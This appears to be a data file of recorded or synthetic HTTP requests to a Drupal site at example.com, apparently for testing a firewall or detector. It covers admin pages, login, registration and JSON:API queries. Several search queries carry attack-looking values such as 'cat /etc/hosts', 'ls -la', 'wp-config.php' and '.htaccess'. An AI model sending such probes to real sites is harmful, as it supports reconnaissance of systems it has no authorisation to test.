0A%0D%0A%5Buser%3Aone-time-login-url%5D%0D%0A%0D%0AThis+link+can+only+be+used+once+to+log+in+and+will+lead+you+to+a+page+where+you+can+set+your+password.%0D%0A%0D%0AAfter+setting+your+password%2C+you+will+be+able+to+log+in+at+%5Bsite%3Alogin-url%5D+in+the+future+using%3A%0D%0A%0D%0Ausername%3A+%5Buser%3Aaccount-name%5D%0D%0Apassword%3A+Your+password%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_status_blocked_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28blocked%29&user_mail_status_blocked_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AYour+account+on+%5Bsite%3Aname%5D+has+been+blocked.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_cancel_confirm_subject=Account+cancellation+request+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D&user_mail_cancel_confirm_body=%5Buser%3Adisplay-name%5D%0D%0A%0D%0AA+request+to+cancel+your+account+has+been+made+at+%5Bsite%3Aname%5D.%0D%0A%0D%0AYou+may+now+cancel+your+account+on+%5Bsite%3Aurl-brief%5D+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%0A%0D%0A%5Buser%3Acancel-url%5D%0D%0A%0D%0ANOTE%3A+The+cancellation+of+your+account+is+not+reversible.%0D%0A%0D%0AThis+link+expires+in+one+day+and+nothing+will+happen+if+it+is+not+used.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_status_canceled_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28canceled%29&user_mail_status_canceled_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AYour+account+on+%5Bsite%3Aname%5D+has+been+canceled.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_password_reset_subject=Replacement+login+informaLine truncated
|
||||
{"method": "GET", "target": "/media/add/image", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/reports/search", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/reports/access-denied", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/reports/page-not-found", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/comment/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/comment/1/delete", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/media/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/media", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/taxonomy/term/1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dtaxonomy_term%3Alocation%3Dpage%26name%3Dtaxonomy_term%26display_id%3Dpage_1%26langcode%3Den&ids%5B%5D=taxonomy_term%3Ataxonomy_term%3D1%3Achanged%3D1794214658%26langcode%3Den&ids%5B%5D=node%3Anode%3D1%3Achanged%3D1794214664%26langcode%3Den&tokens%5B%5D=GAe0zLesmOPq7bQZ_NH5jfUk6MU99eEngNvruqUxOgw&tokens%5B%5D=rydUkwhJOkTb6iVeuq6z0HGrGVXmL37cXZOt5fmvGkY&tokens%5B%5D=gbyDF1Z3LcCvTyCIXXmz1gj9CG3LaEd37N1nZ2PpLNo"}
|
||||
{"method": "GET", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/user?keys=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=hello%20world&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/user?keys=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=python3&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/user?keys=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=powershell&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/user?keys=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=ls%20-la&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/user?keys=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=.htaccess&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/user?keys=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=wp-config.php&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/user?keys=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=docker-compose.yml&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/user?keys=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=cat%20%2Fetc%2Fhosts&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/user?keys=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=SELECT%20rows%20FROM%20table&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/logout/confirm", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-2mqij9gEz7sEEx0AFXDMNhEi7UGMmIKDKOtaH__AdcM&form_token=4rgwkD4H8ojOv1RvJymJhN4_mA6DPv6hOdwHxXCOjMM&form_id=user_logout_confirm&op=Log+out"}
|
||||
{"method": "GET", "target": "/search?keys=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search?keys=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search?keys=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search?keys=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search?keys=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search?keys=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search?keys=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search?keys=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search?keys=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryS0AxXBAlk7QxCkUx", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"mail\"\r\n\r\nnew.person@example.com\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nnew_person\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"user_picture[0][display]\"\r\n\r\n1\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-Ylo4JYJ_UfFvdR3PaUXBHi1yzjp7M4C4e1XY6hAE1y0\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nuser_register_form\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nCreate new account\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx--\r\n"}
|
||||
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "name=new.person%40example.com&form_build_id=form-Zkr9kQgDYORrLzpGPYPnF0LHbbHjoangOOgglubhsdE&form_id=user_pass&op=Submit"}
|
||||
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"admin\", \"pass\": \"example-password-1\"}"}
|
||||
{"method": "GET", "target": "/user/login_status?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/session/token", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/page", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/user/user", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/comment/comment", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?include=uid,field_tags,field_image&sort=-created,title&page%5Blimit%5D=10&page%5Boffset%5D=0&fields%5Bnode--article%5D=title,body,created", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=hello%20world&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=python3&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
